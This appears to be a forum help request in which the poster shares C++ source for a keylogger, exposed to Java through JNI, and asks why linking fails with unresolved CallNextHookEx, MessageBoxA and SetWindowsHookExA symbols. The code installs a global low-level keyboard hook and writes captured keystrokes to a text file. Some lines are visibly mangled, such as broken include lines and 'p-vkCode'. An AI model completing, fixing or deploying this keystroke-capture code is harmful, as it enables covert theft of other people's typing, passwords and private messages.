i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose...
#define _WIN32_WINNT 0x0500
#include "keylogs.h"
#include <fstream
#include <windows.h
using namespace std;
ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out);
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
// If key is being pressed
if (wParam == WM_KEYDOWN)
{
switch (p-vkCode)
{
// Invisible keys
case VK_CAPITAL: out << ""; break;
case VK_SHIFT: out << ""; break;
case VK_LCONTROL: out << ""; break;
case VK_RCONTROL: out << ""; break;
case VK_INSERT: out << ""; break;
case VK_END: out << ""; break;
case VK_PRINT: out << ""; break;
case VK_DELETE: out << ""; break;
case VK_BACK: out << ""; break;
case VK_SPACE: out << ""; break;
case VK_RMENU: out << ""; break;
case VK_LMENU: out << ""; break;
case VK_LEFT: out << ""; break;
case VK_RIGHT: out << ""; break;
case VK_UP: out << ""; break;
case VK_DOWN: out << ""; break;
// Visible keys
default:
out << char(tolower(p->vkCode));
}
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject)
{
HINSTANCE hInstance=GetModuleHandle(0);
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
out.close();
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
// Set windows hook
return 0;
}
The errors which i am getting is...
file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re
ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (?
keyboardHookProc@@YGJHIJ@Z)
file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer
enced in function "class std::basic_string,cl
ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba
sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ)
file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16
referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?
AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ)
c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals
can any one help me please....